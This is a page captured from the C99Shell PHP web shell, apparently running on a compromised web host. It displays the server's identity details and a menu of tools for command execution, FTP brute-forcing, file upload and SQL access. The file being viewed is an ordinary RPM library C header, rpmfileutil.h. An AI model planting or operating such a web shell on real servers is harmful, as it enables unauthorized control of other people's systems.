!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/include/rpm/   drwxr-xr-x
Free 6182.23 GB of 6263.43 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rpmfileutil.h (5.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef _RPMFILEUTIL_H
#define _RPMFILEUTIL_H

/** \ingroup rpmfileutil rpmio
 * \file rpmio/rpmfileutil.h
 * File and path manipulation helper functions.
 */

#include <rpm/rpmutil.h>
#include <rpm/rpmio.h>
#include <rpm/rpmpgp.h>
#include <rpm/argv.h>

#ifdef __cplusplus
extern "C" {
#endif

/** \ingroup rpmfileutil
 */
typedef enum rpmCompressedMagic_e {
    COMPRESSED_NOT        = 0,    /*!< not compressed */
    COMPRESSED_OTHER        = 1,    /*!< gzip can handle */
    COMPRESSED_BZIP2        = 2,    /*!< bzip2 can handle */
    COMPRESSED_ZIP        = 3,    /*!< unzip can handle */
    COMPRESSED_LZMA        = 4,    /*!< lzma can handle */
    COMPRESSED_XZ        = 5,    /*!< xz can handle */
    COMPRESSED_LZIP        = 6,    /*!< lzip can handle */
    COMPRESSED_LRZIP        = 7,    /*!< lrzip can handle */
    COMPRESSED_7ZIP        = 8,    /*!< 7zip can handle */
    COMPRESSED_GEM        = 9,    /*!< gem can handle */
    COMPRESSED_ZSTD        = 10    /*!< zstd can handle */
} rpmCompressedMagic;

/** \ingroup rpmfileutil
 * Calculate a file digest and size.
 * @param algo        digest algorithm
 * @param fn        file name
 * @param asAscii    return digest as ascii string?
 * @retval digest    address of calculated digest
 * @retval *fsizep    file size pointer (or NULL)
 * @return        0 on success, 1 on error
 */
int rpmDoDigest(int algo, const char * fn,int asAscii,
          unsigned char * digest, rpm_loff_t * fsizep);

/** \ingroup rpmfileutil
 * Thin wrapper for mkstemp(3). 
 * @param templ            template for temporary filename
 * @return             file handle or NULL on error
 */
FD_t rpmMkTemp(char *templ);

/** \ingroup rpmfileutil
 * Return file handle for a temporaray file.
 * A unique temporaray file path will be created in
 * [prefix/]%{_tmppath} directory.
 * The file name and the open file handle are returned.
 *
 * @param prefix    leading part of temp file path
 * @retval fn        temp file name (or NULL)
 * @return fdptr    open file handle or NULL on error
 */
FD_t rpmMkTempFile(const char * prefix, char **fn);

/** \ingroup rpmfileutil
 * Insure that directories in path exist, creating as needed.
 * @param path        directory path
 * @param mode        directory mode (if created)
 * @param uid        directory uid (if created), or -1 to skip
 * @param gid        directory uid (if created), or -1 to skip
 * @return        0 on success, errno (or -1) on error
 */
int rpmioMkpath(const char * path, mode_t mode, uid_t uid, gid_t gid);

/** \ingroup rpmfileutil
 * Create several directories (including parents if needed) in one go.
 * Macros in pathstr will be expanded in the process.
 * @param root        leading root directory (or NULL for none)
 * @param pathstr    list of directories separated with :
 * @return        0 if all directories were successfully created
 *             (or already existed), non-zero otherwise
 */
int rpmMkdirs(const char *root, const char *pathstr);

/** \ingroup rpmfileutil
 * Canonicalize file path.
 * @param path        path to canonicalize (in-place)
 * @return        pointer to path
 */
char * rpmCleanPath    (char * path);

/** \ingroup rpmfileutil
 * Merge 3 args into path, any or all of which may be a url.
 * The leading part of the first URL encountered is used
 * for the result, other URL prefixes are discarded, permitting
 * a primitive form of URL inheiritance.
 * @param urlroot    root URL (often path to chroot, or NULL)
 * @param urlmdir    directory URL (often a directory, or NULL)
 * @param urlfile    file URL (often a file, or NULL)
 * @return        expanded, merged, canonicalized path (malloc'ed)
 */
char * rpmGenPath    (const char * urlroot,
            const char * urlmdir,
            const char * urlfile);

/** \ingroup rpmfileutil
 * Return (malloc'ed) expanded, canonicalized, file path.
 * @param path        macro(s) to expand (NULL terminates list)
 * @return        canonicalized path (malloc'ed)
 */
char * rpmGetPath (const char * path, ...) RPM_GNUC_NULL_TERMINATED;

/** \ingroup rpmfileutil
 * Check whether pattern contains any glob metacharacters.
 * @param pattern    glob pattern
 * @param quote        allow backslash quoting of metacharacters?
 * @return        1 if pattern contains globs, 0 otherwise
 */
int rpmIsGlob(const char * pattern, int quote);

/** \ingroup rpmfileutil
 * Return URL path(s) from a (URL prefixed) pattern glob.
 * @param patterns    glob pattern
 * @retval *argcPtr    no. of paths
 * @retval *argvPtr    ARGV_t array of paths
 * @return        0 on success
 */
int rpmGlob(const char * patterns, int * argcPtr, ARGV_t * argvPtr);

/** \ingroup rpmfileutil
 * Escape isspace(3) characters in string.
 * @param s             string
 * @return              escaped string
 */
char * rpmEscapeSpaces(const char * s);

/** \ingroup rpmfileutil
 * Return type of compression used in file.
 * @param file        name of file
 * @retval compressed    address of compression type
 * @return        0 on success, 1 on I/O error
 */
int rpmFileIsCompressed (const char * file, rpmCompressedMagic * compressed);

/** \ingroup rpmfileutil
 * Check if path (string) ends with given suffix
 * @param path        (path) string
 * @param suffix    suffix string to check for
 * @return        1 if true, 0 otherwise
 */
int rpmFileHasSuffix(const char *path, const char *suffix);

/** \ingroup rpmfileutil
 * Like getcwd() but the result is malloced.
 * @return              current working directory (malloc'ed)
 */
char * rpmGetCwd(void);

#ifdef __cplusplus
}
#endif
#endif /* _RPMFILEUTIL_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0116 ]--